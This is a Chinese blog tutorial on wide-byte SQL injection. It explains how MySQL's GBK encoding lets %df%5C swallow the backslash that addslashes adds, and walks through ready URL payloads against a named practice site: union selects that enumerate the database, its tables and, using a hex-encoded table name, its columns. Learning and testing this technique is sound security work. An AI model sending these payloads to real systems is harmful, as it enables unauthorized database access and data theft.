宽字节注入

0x01前言

之前学基本注入的时候,就没有考虑过单引号或双引号被转义的情况,今天就来补充一下这方面的知识。

在学习宽字节注入前,我们先了解一个函数addslashes:

string addslashes ( string $str )

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。

在sql注入时,这个函数会把你输入的sql语句中的单引号(’),双引号(")等特殊字符转义掉,使之变成字符串,这个时候就需要用到宽字节注入。

0x02宽字节注入原理

宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码时,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

例:
在这里插入图片描述
%df%5C会被当成一个汉字,此时单引号%27就会逃过一劫。

0x03实践

实践链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

当输入id=1%27时,根据回显内容可知,单引号(’)被转义成了\'
在这里插入图片描述
这时就要宽字节注入了,输入id=1%df%27,这时sql语句为

select id,title from news where id = '1%df%5C''

MySQL使用GBK编码时,把%df%5C当成了一个汉字,因此sql语句就变成了

select id,title from news where id = '1運''

在这里插入图片描述
输入id=1%df%27%23,发现页面回显正常,这时就可以正常注入了。在这里插入图片描述
接下来就是正常的基本注入:

id=1%df%27 order by 2 %23
id=-1%df%27 union select 1,2 %23
id=-1%df%27 union select 1,database() %23
id=-1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

直到爆字段名时,由于单引号(’)会被转义,所以需要把表名用16进制表示(假设这里表名为news):

一般写法:
id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=’news‘ %23

表名用16进制表示:
id=-1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x6e657773 %23

这样就避免了引号被转义,同时还达到了我们想要的目的。

后面的操作跟基本注入一样,这里就不继续了。

0x04总结

总的来说,宽字节注入最主要的就是利用MySQL的GBK编码的特性,让反斜杠(\)和其他的一个字符组成一个汉字,从而使单引号(’),双引号(")等逃过被转义的命运。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值